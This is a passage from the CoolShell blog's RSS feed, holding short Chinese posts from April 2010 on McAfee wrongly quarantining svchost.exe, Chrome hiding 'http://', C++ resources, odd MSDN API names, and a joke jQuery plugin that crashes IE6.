CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>这两天，杀毒软件又出事了。还记得2007年5月，那次是Norton把简体中文Windows下的netapi32.dll 和 lsasrv.dll。最近的一次是，2008年11月，AVG把user32.dll给干掉了。</p>\n<p>这次是McAfee的5958版病毒库，导致McAfee误杀了Windows XP SP3下的svchost.exe，这最终导致了Windows不断地重复启动，据说有数十万PC成了小白鼠。简单地到Twitter和各国外技术社区看看，真是受灾严重啊。</p>\n<p>下面是出错信息：</p>\n<pre>The file C:WINDOWS\\system32\\svchost.exe contains the W32/Wecorl.a Virus.\nUndetermined clean error, OAS denied access and continued.\nDetected using Scan engine version 5400.1158 DAT version 5958.0000.</pre>\n<p>其实，可能大家都误解了，McAfee把svchost.exe识别为一个恶意程序，我觉得这是一种“实事求是”的态度啊，svchost.exe难道不是Windows下的万恶之源吗？多少年来，svchost.exe成为了多少病毒，木马和流氓程序的温床，这么多年过去了，Windows用户们默默地承受着svchost.exe所带来的痛苦，经过这么长的时间，只有McAfee不惧M$的淫威第一个站出来把svchost.exe揪出来办了，这是一种什么样的精神啊……<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1528.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/10/seo-cartoon-150x150.jpg\" alt=\"图片搜索引擎优化Checklist\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1528.html\" class=\"wp_rp_title\">图片搜索引擎优化Checklist</a></li><li ><a href=\"https://coolshell.cn/articles/4605.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/04/lawrence_1-150x150.png\" alt=\"Amazon的书为什么卖到了$2000万\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4605.html\" class=\"wp_rp_title\">Amazon的书为什么卖到了$2000万</a></li><li ><a href=\"https://coolshell.cn/articles/2606.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"五个方法成为更好的程序员\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2606.html\" class=\"wp_rp_title\">五个方法成为更好的程序员</a></li><li ><a href=\"https://coolshell.cn/articles/2785.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"JS1K 演示\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2785.html\" class=\"wp_rp_title\">JS1K 演示</a></li><li ><a href=\"https://coolshell.cn/articles/290.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" alt=\"雷人的程序注释\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/290.html\" class=\"wp_rp_title\">雷人的程序注释</a></li><li ><a href=\"https://coolshell.cn/articles/3244.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/Photo-editor-150x150.jpg\" alt=\"在线作图编辑服务\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3244.html\" class=\"wp_rp_title\">在线作图编辑服务</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2376.html\">McAfee误杀svchost.exe</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2376.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>13</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>谷歌Chrome取消&#8221;http://&#8221;</title>\n\t\t<link>https://coolshell.cn/articles/2367.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2367.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 22 Apr 2010 03:12:24 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Chrome]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<category><![CDATA[HTTP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2367</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>谷歌下一个版本的Chrome浏览器软件将缺少一个在近20年来一直是浏览器的一个特点的功能：在地址栏中的“http://”。目前开发人员版本的Chrome浏览器已...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2367.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2367.html\">谷歌Chrome取消”http://”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>谷歌下一个版本的Chrome浏览器软件将缺少一个在近20年来一直是浏览器的一个特点的功能：在地址栏中的“http://”。目前开发人员版本的Chrome浏览器已经做了这种改变。这个变化虽然看起来很小，但是，已经在Chrome网站引起了程序员们很大的争议。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/04/URL-BAR.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2373\" title=\"Google Chrome 取消 http://\" src=\"https://coolshell.cn/wp-content/uploads/2010/04/URL-BAR.png\" alt=\"\" width=\"343\" height=\"183\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/04/URL-BAR.png 343w, https://coolshell.cn/wp-content/uploads/2010/04/URL-BAR-300x160.png 300w\" sizes=\"(max-width: 343px) 100vw, 343px\" /></a></p>\n<p>在Google Chrome的开发站点上，又有了一个很热的BUG——<a href=\"http://code.google.com/p/chromium/issues/detail?id=41467\" target=\"_blank\">Issue  41467</a>（上一次的一热议的BUG是的《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1781.html\" target=\"_blank\">Go语言更名Issue 9</a>》），这个BUG目前已被关闭。不过在其它地方还在热议中，如：<a href=\"http://www.reddit.com/r/programming/comments/bt0oh/issue_41467_url_bar_no_longer_shows_http/\" target=\"_blank\">Reddit.com</a>。基本上来说，90%以上的程序员反对的，他们希望Google的Chrome可以给一个设置关闭或打开这一功能。</p>\n<p>一些程序员觉得这是违反了RFC，并且觉得这是在向End User传播一种很不好的东西，那就是网址可以不用http://，这样一来会给程序员增加很多麻烦，比如：他们的程序无法使用http://这一关键字来检查用户的输出，等等。</p>\n<p>iPhone浏览器的也是这样的， 不过当你把光标放到地址栏中，其会显示http://，广大程序员希望Chrome也实现这一方案。然而，<a href=\"http://code.google.com/p/chromium/issues/detail?id=41467\" target=\"_blank\">Issue  41467</a>目前的状态是“WontFix”，呵呵。</p>\n<p>有人说，如果你在地址栏中直接输入网址，没有协议前缀，默认就是http://，Google用的就是这个特性，然后，你可以试试在地址栏中输入“<a rel=\"nofollow\" href=\"ftp://ftp.gnu.org/gnu\">ftp.gnu.org/gnu</a>”，你会发现，自动加入的不是http://而是ftp://，呵呵。</p>\n<p>有人说，既然你要省，不如也把www.和后面的.com加上/也省了，因为这些都是默认的嘛。直接打google就OK了。Chrome开发团队说，没有www.和.com/只能算是一个主机名，不能算是DNS域名。呵呵。</p>\n<p>还有人说，搞这种隐藏的最恶心的就是Windows，隐藏文件后缀名，隐藏系统文件，太扯了，于是，像sexy_girls.jpg.exe，huge-tits.jpg.src这样玩意儿让某些电脑知识薄弱意志不坚定的人深受其害。</p>\n<p>如果有空，请留下你的观点。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/19840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg\" alt=\"HTTP的前世今生\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19840.html\" class=\"wp_rp_title\">HTTP的前世今生</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2367.html\">谷歌Chrome取消”http://”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2367.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>35</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>两个C++的资源</title>\n\t\t<link>https://coolshell.cn/articles/2365.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2365.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 19 Apr 2010 01:17:19 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Boost]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2365</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>第一个是一个C++第三方类库的A-Z：（http://www.trumphurst.com/cpplibs/cpplibs.php）其中包含了： 开源的C++的...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2365.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2365.html\">两个C++的资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>第一个是一个C++第三方类库的A-Z：（<a href=\"http://www.trumphurst.com/cpplibs/cpplibs.php\" target=\"_blank\">http://www.trumphurst.com/cpplibs/cpplibs.php</a>）其中包含了：</p>\n<ul>\n<li>开源的C++的第三方类库列表</li>\n<li>商业的C++的第三方类库列表</li>\n<li>一些经典的C++的随书源码</li>\n<li>一些C++相关的工具</li>\n</ul>\n<p>不过，这个网站好像最新更新是在2008年。</p>\n<p>第二个是Boost C++的一个教程：（<a href=\"http://en.highscore.de/cpp/boost/\" target=\"_blank\">http://en.highscore.de/cpp/boost/</a>）</p>\n<ul>\n<li><a href=\"http://en.highscore.de/cpp/boost/introduction.html\">Chapter 1: Introduction</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/smartpointers.html\">Chapter 2: Smart Pointers</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/functionobjects.html\">Chapter 3: Function Objects</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/eventhandling.html\">Chapter 4: Event Handling</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/stringhandling.html\">Chapter 5: String Handling</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/multithreading.html\">Chapter 6: Multithreading</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/asio.html\">Chapter 7: Asynchronous Input and Output</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/interprocesscommunication.html\">Chapter 8: Interprocess Communication</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/filesystem.html\">Chapter 9: Filesystem</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/datetime.html\">Chapter 10: Date and Time</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/serialization.html\">Chapter 11: Serialization</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/parser.html\">Chapter 12: Parser</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/containers.html\">Chapter 13: Containers</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/datastructures.html\">Chapter 14: Data Structures</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/errorhandling.html\">Chapter 15: Error Handling</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/castoperators.html\">Chapter 16: Cast Operators</a></li>\n</ul>\n<p>这个教程可能是写得比较不错的了，不过是英文的。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2365.html\">两个C++的资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2365.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>MSDN中的两个命名</title>\n\t\t<link>https://coolshell.cn/articles/2363.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2363.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 19 Apr 2010 00:45:12 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[MSDN]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2363</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>第一个叫：DestroyPhysicalMonitor http://msdn.microsoft.com/en-us/library/dd692936(VS....</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2363.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2363.html\">MSDN中的两个命名</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>第一个叫：<strong>DestroyPhysicalMonitor</strong></p>\n<p><a href=\"http://msdn.microsoft.com/en-us/library/dd692936(VS.85).aspx\">http://msdn.microsoft.com/en-us/library/dd692936(VS.85).aspx</a></p>\n<p>在你的程序中调用这个函数，不知道你敢不敢在运行程序。呵呵。</p>\n<p>第二个叫：<strong>INITCOMMONCONTROLSEX</strong> &#8211;</p>\n<p><a href=\"http://msdn.microsoft.com/en-us/library/bb775507(VS.85).aspx\">http://msdn.microsoft.com/en-us/library/bb775507(VS.85).aspx</a></p>\n<p>Initialize Common Control Sex ??? 真是淫者见淫啊。呵呵</p>\n<p>不知道还有没有其它有趣的？欢迎大家跟贴。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/3385.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/rank_scatter1-150x150.png\" alt=\"编程语言流行度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3385.html\" class=\"wp_rp_title\">编程语言流行度</a></li><li ><a href=\"https://coolshell.cn/articles/591.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/04/book-of-ruby-complete-150x150.png\" alt=\"免费电子书：Ruby Complete\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/591.html\" class=\"wp_rp_title\">免费电子书：Ruby Complete</a></li><li ><a href=\"https://coolshell.cn/articles/2184.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/03/bt_js_demo-150x150.jpg\" alt=\"BT工作原理演示\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2184.html\" class=\"wp_rp_title\">BT工作原理演示</a></li><li ><a href=\"https://coolshell.cn/articles/4458.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"BT雷人的程序语言（大全）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4458.html\" class=\"wp_rp_title\">BT雷人的程序语言（大全）</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2363.html\">MSDN中的两个命名</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2363.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>4</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一个jQuery的插件</title>\n\t\t<link>https://coolshell.cn/articles/2357.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2357.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 14 Apr 2010 05:42:36 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[IE]]></category>\n\t\t<category><![CDATA[jQuery]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2357</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>jQuery这个强大的玩意我就不多说了，不知道可以上网搜搜看。IE6我也不多说了，这可能是史上骂名最多的一个浏览器，网上有N多的声讨IE6的文章，你也可以参看本...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2357.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2357.html\">一个jQuery的插件</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>jQuery这个强大的玩意我就不多说了，不知道可以上网搜搜看。IE6我也不多说了，这可能是史上骂名最多的一个浏览器，网上有N多的声讨IE6的文章，你也可以参看本站的《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1817.html\">9个最常见IE的Bug及其fix</a>》和《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1245.html\">IE的CSS相关的BUG</a>》，如果你今天还在用IE6，或是IE类浏览器，那请让我小小的BS你一下。</p>\n<p>这个jQuery的Plugin可能是有史以来所有plugin中最有个性的一个，因为这个plugin什么也不干，其会用户的IE6版的浏览器直接Crash掉。这个plugin叫jQuery Crash，其网页链接在下面，是一个四星级的插件，仅仅435个字节。</p>\n<p style=\"text-align: center;\"><a href=\"http://plugins.jquery.com/project/crash\" target=\"_blank\">http://plugins.jquery.com/project/crash</a></p>\n<p style=\"text-align: left;\">其是这样介绍自己的，有脏话，我就不翻译了。</p>\n<blockquote><p>A jQuery plugin for crashing IE6. That&#8217;ll teach those motherf!%@*#s to upgrade their s#*t.</p></blockquote>\n<p>其它，让IE系例的浏览器挂掉，并不需要Javascript，你可以尝试点击下面这个页面，这是一个纯HTML的页面，没有任何的CSS，或是JS的东西，只有HTML。请小心打开（如果在Firefox中打开也可能会挂，Chrome中没事）</p>\n<p style=\"text-align: center;\"><a href=\"http://www.gregmerideth.net/html/iecrash.html\" target=\"_blank\">http://www.gregmerideth.net/html/iecrash.html</a></p>\n<p>这个纯HTML的来源是本来是作者写了一个程序生成了一个N层嵌套的表格，结果在IE5中导致了IE5不响应直到Crash并使用了100%的CPU资源，这么多年过去了，还是老样子，在我的dual-core+IE7上，也是一样，占了50%的CPU，而且还有很高的内核使用，最后只能把进程给kill了。BT啊，纯HTML都会让IE这样。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-150x150.jpg\" alt=\"一次Ajax查错的经历\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_title\">一次Ajax查错的经历</a></li><li ><a href=\"https://coolshell.cn/articles/7186.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/Green-Computing-150x150.jpg\" alt=\"做个环保主义的程序员\" width=\"150\" height=\"150\" 